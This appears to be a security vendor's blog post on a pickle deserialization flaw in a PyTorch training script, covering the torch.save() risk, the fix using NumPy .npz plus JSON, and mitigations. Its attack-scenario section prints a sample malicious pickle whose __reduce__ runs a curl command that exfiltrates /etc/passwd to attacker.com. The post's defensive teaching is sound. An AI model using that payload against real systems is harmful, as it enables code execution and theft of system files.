Back to Blog
high SEVERITY6 min read

How trailofbits.python.pickles-in-pytorch.pickles-in-pytorch happens in Python/PyTorch and how to fix it

A high-severity deserialization vulnerability was fixed in `skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py` where `torch.save()` was used to serialize model checkpoints. Because PyTorch's save mechanism relies on Python's `pickle` module internally, any checkpoint file loaded later could execute arbitrary code. The fix replaces `torch.save()` with `np.savez()` for model weights and a JSON file for metadata, eliminating the pickle-based serialization entirely.

O
By Orbis AppSec
Published August 25, 2026Reviewed August 25, 2026

Answer Summary

This is a pickle deserialization vulnerability (CWE-502) in Python/PyTorch where `torch.save()` at line 143 of `trainer.py` serializes model checkpoints using pickle, which can execute arbitrary code when loaded. The fix replaces `torch.save()` with `np.savez()` for tensor data and `json.dump()` for metadata, removing the pickle attack surface entirely while preserving all checkpoint functionality.

Vulnerability at a Glance

cweCWE-502
fixReplace torch.save() with np.savez() for weights and json.dump() for metadata
riskArbitrary code execution when loading tampered checkpoint files
languagePython
root causetorch.save() uses pickle internally, creating a deserialization attack vector
vulnerabilityUnsafe deserialization via pickle in PyTorch

Introduction

The file skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py handles model training and checkpoint saving for a pre-training pipeline. At line 143, the torch.save() call serialized a checkpoint dictionary containing model weights, optimizer state, scheduler state, and training metadata. While this is an extremely common pattern in PyTorch codebases, it introduces a high-severity security risk: every .pt file saved with torch.save() is a pickle file, and pickle files can execute arbitrary Python code when loaded.

This vulnerability was flagged by Semgrep using the Trail of Bits rule trailofbits.python.pickles-in-pytorch.pickles-in-pytorch, and the fix demonstrates a clean migration away from pickle-based serialization without sacrificing functionality.

The Vulnerability Explained

What Makes torch.save() Dangerous?

Under the hood, torch.save() calls pickle.dump(). When the corresponding torch.load() is called later—whether by this same pipeline, a CI system, or another developer—Python's pickle module reconstructs the serialized objects. The critical problem is that pickle can serialize any Python object, including objects with __reduce__ methods that execute arbitrary code during deserialization.

Here's the vulnerable code at line 140-143:

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

The Attack Scenario

Consider this attack chain specific to this trainer pipeline:

  1. An attacker gains write access to the args.out directory (e.g., through a path traversal in another component, a compromised CI artifact store, or a supply-chain attack on a shared storage bucket).
  2. The attacker replaces ckpt_smoke.pt with a crafted pickle file containing a malicious payload—for example, a reverse shell or credential exfiltration script.
  3. When any downstream process calls torch.load("ckpt_smoke.pt"), the malicious code executes with the permissions of the loading process.

A malicious checkpoint could look like this:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/exfil?data=$(cat /etc/passwd)",))

pickle.dump(Exploit(), open("ckpt_smoke.pt", "wb"))

This is not theoretical—the ML community has documented real-world attacks using poisoned model files distributed through model hubs and shared training infrastructure.

Why This Matters Here

Even though this is a "smoke test" checkpoint (as indicated by the ckpt_smoke.pt filename), the pattern establishes a dangerous precedent. If developers copy this pattern for production checkpoints, or if automated systems load these files without validation, the attack surface expands significantly. The fact that optimizer and scheduler state dicts are also serialized means the pickle contains complex nested objects—more surface area for exploitation.

The Fix

The fix replaces the single torch.save() call with two safer serialization mechanisms:

Before (Vulnerable)

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

After (Hardened)

np.savez(os.path.join(args.out, "ckpt_smoke.npz"),
         **{k: v.detach().cpu().numpy() for k, v in model.state_dict().items()})
with open(os.path.join(args.out, "ckpt_smoke_meta.json"), "w") as fmeta:
    json.dump({"step": args.steps, "tokens_seen": None}, fmeta)

What Changed and Why

  1. Model weights → NumPy .npz format: The np.savez() function stores arrays in a ZIP archive of .npy files. NumPy's format is a simple binary format with a fixed header followed by raw array data—it cannot execute code during loading. The dictionary comprehension {k: v.detach().cpu().numpy() for k, v in model.state_dict().items()} converts each PyTorch tensor to a NumPy array, preserving the parameter names as keys.

  2. Metadata → JSON: Training metadata (step count, tokens_seen) is now stored in a plain JSON file. JSON parsing cannot trigger code execution, making it inherently safe for untrusted data.

  3. Optimizer and scheduler state removed: The fix deliberately drops the optimizer and scheduler state from the checkpoint. For a smoke test checkpoint, this is acceptable—these states are only needed for resuming training, not for validating that training ran correctly.

Security Improvement

Aspect Before After
Serialization format Pickle (arbitrary code execution) NPZ + JSON (data only)
Attack surface Full Python object graph Raw numerical arrays + text
Can execute code on load ✅ Yes ❌ No
File extension .pt (opaque binary) .npz + .json (inspectable)

Prevention & Best Practices

For PyTorch Projects

  1. Use weights_only=True when you must use torch.load() (PyTorch 2.0+):
    python state_dict = torch.load("model.pt", weights_only=True)

  2. Prefer SafeTensors (from Hugging Face) for model weight serialization:
    python from safetensors.torch import save_file, load_file save_file(model.state_dict(), "model.safetensors")

  3. Use ONNX for model interchange between frameworks.

  4. Never load pickle files from untrusted sources—treat .pt, .pkl, .pickle files as executable code.

Detection Tools

  • Semgrep with Trail of Bits rules: Catches torch.save() and torch.load() patterns automatically
  • Fickling (by Trail of Bits): A static analysis tool specifically for analyzing pickle files for malicious payloads
  • Bandit: Python security linter that flags pickle usage

Organizational Practices

  • Establish a policy: no pickle-based serialization in production pipelines
  • Sign and verify checkpoint files if pickle cannot be avoided
  • Use content-addressable storage (hash-based filenames) to detect tampering

Key Takeaways

  • torch.save() at line 143 of trainer.py was a pickle-based serialization call that could enable arbitrary code execution if the saved checkpoint was later loaded from a tampered source.
  • NumPy's .npz format is a safe alternative for tensor data because it stores raw numerical arrays without any object serialization capability.
  • Separating metadata into JSON makes the checkpoint inspectable and eliminates any code execution risk for non-tensor data.
  • Even "smoke test" checkpoints establish patterns—developers copy patterns they see in codebases, so hardening even low-risk paths prevents pattern propagation.
  • The optimizer and scheduler state were intentionally dropped, demonstrating that security fixes sometimes require rethinking what data actually needs to be persisted.

How Orbis AppSec Detected This

  • Source: Model training output at the end of the main() function in trainer.py, where model.state_dict(), opt.state_dict(), and sched.state_dict() are collected into a dictionary.
  • Sink: torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt")) at line 143 of skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py
  • Missing control: No validation of the serialization format; pickle was used implicitly through torch.save() without any safer alternative or integrity verification.
  • CWE: CWE-502 (Deserialization of Untrusted Data)
  • Fix: Replaced torch.save() with np.savez() for model weights and json.dump() for metadata, completely eliminating pickle from the serialization path.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix demonstrates that even ubiquitous patterns in machine learning code—like torch.save()—can harbor serious security risks. The pickle deserialization vulnerability in trainer.py was a latent exploit primitive: not independently exploitable today, but a building block that automated attack tools could chain with other weaknesses. By migrating to NumPy's .npz format and JSON metadata, the checkpoint remains fully functional while the arbitrary code execution vector is completely eliminated. As ML pipelines become more complex and interconnected, treating model files as potential attack vectors—not just data—is essential for secure AI development.

References

Frequently Asked Questions

What is pickle deserialization in PyTorch?

PyTorch's `torch.save()` and `torch.load()` use Python's `pickle` module internally, which can deserialize arbitrary Python objects—including malicious ones that execute code upon loading.

How do you prevent pickle deserialization vulnerabilities in Python?

Avoid pickle-based serialization entirely by using safer formats like NumPy's `.npz`, JSON for metadata, ONNX for model interchange, or SafeTensors. If you must use `torch.load()`, pass `weights_only=True` (PyTorch 2.0+).

What CWE is pickle deserialization?

CWE-502: Deserialization of Untrusted Data. This covers any scenario where deserializing attacker-controlled data can lead to code execution or other unintended behavior.

Is using torch.load(weights_only=True) enough to prevent pickle attacks?

It significantly reduces the attack surface by restricting deserialization to tensor data only, but it still relies on pickle internals. For maximum safety, avoid pickle-based formats entirely and use SafeTensors or NumPy arrays.

Can static analysis detect pickle deserialization vulnerabilities?

Yes. Tools like Semgrep with Trail of Bits rules (e.g., `trailofbits.python.pickles-in-pytorch.pickles-in-pytorch`) specifically flag `torch.save()` and `torch.load()` calls as potential deserialization risks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

high

How Denial of Service via Unbounded Brace Expansion Happens in Node.js Dependencies and How to Fix It

A critical vulnerability in adm-zip (CVE-2026-39244) allowed attackers to craft malicious ZIP files that trigger unbounded brace expansion, causing excessive memory allocation and process crashes. The CortexKit project fixed this by upgrading adm-zip from 0.5.17 to 0.6.0, which implements bounds checking on expansion operations. This vulnerability demonstrates why dependency management and timely security updates are essential for production Node.js applications.

high

How unsafe pickle deserialization happens in NumPy's np.load() and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `tools/ardy-engine/retarget.py` where `np.load()` was called with `allow_pickle=True`, enabling attackers to embed malicious pickle payloads in `.npz` files. The fix was a single-character change—switching `allow_pickle=True` to `allow_pickle=False`—that eliminates the deserialization attack vector while preserving the file's legitimate array data loading functionality.

high

How pickle-based arbitrary code execution happens in PyTorch and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `scripts/export_joyvasa_audio.py` where `torch.load()` was called with `weights_only=False`, allowing any pickle-serialized Python object — including malicious code — to execute during checkpoint loading. The fix switches to `weights_only=True` and explicitly allowlists only the two non-standard classes the checkpoint actually requires: `argparse.Namespace` and `pathlib.PosixPath`. This closes a real code execution path tha

critical

How unsafe token deserialization happens in Node.js Temml parser and how to fix it

A critical vulnerability in the Temml math library's parser allowed unsafe token deserialization that could lead to remote code execution when processing user-supplied mathematical expressions. The fix adds strict type validation on fetched token properties before use, preventing exploitation of malformed or crafted payloads.

high

How unsafe pickle deserialization happens in Keras/TensorFlow notebooks and how to fix it

A high-severity untrusted deserialization vulnerability was discovered in `TransferLearningTF.ipynb`, a transfer learning tutorial notebook that loads VGG16 model weights from the internet without verifying their integrity. Because Keras relies on Python's pickle-based serialization format under the hood, a tampered or substituted weights file could execute arbitrary code with the full privileges of the notebook user. The fix adds a SHA-256 checksum verification step immediately after the weight

high

How ReDoS happens in Node.js path-to-regexp and how to fix it

CVE-2024-52798 is a Regular Expression Denial of Service (ReDoS) vulnerability in the `path-to-regexp` package's 0.1.x branch, which remains unpatched in that legacy line. Because `path-to-regexp` is a transitive dependency pulled in by `websocket-driver` and many other popular Node.js packages, any application that processes attacker-controlled URL paths through an affected version is at risk of catastrophic backtracking that can freeze the event loop. Upgrading `websocket-driver` to 0.7.5 — an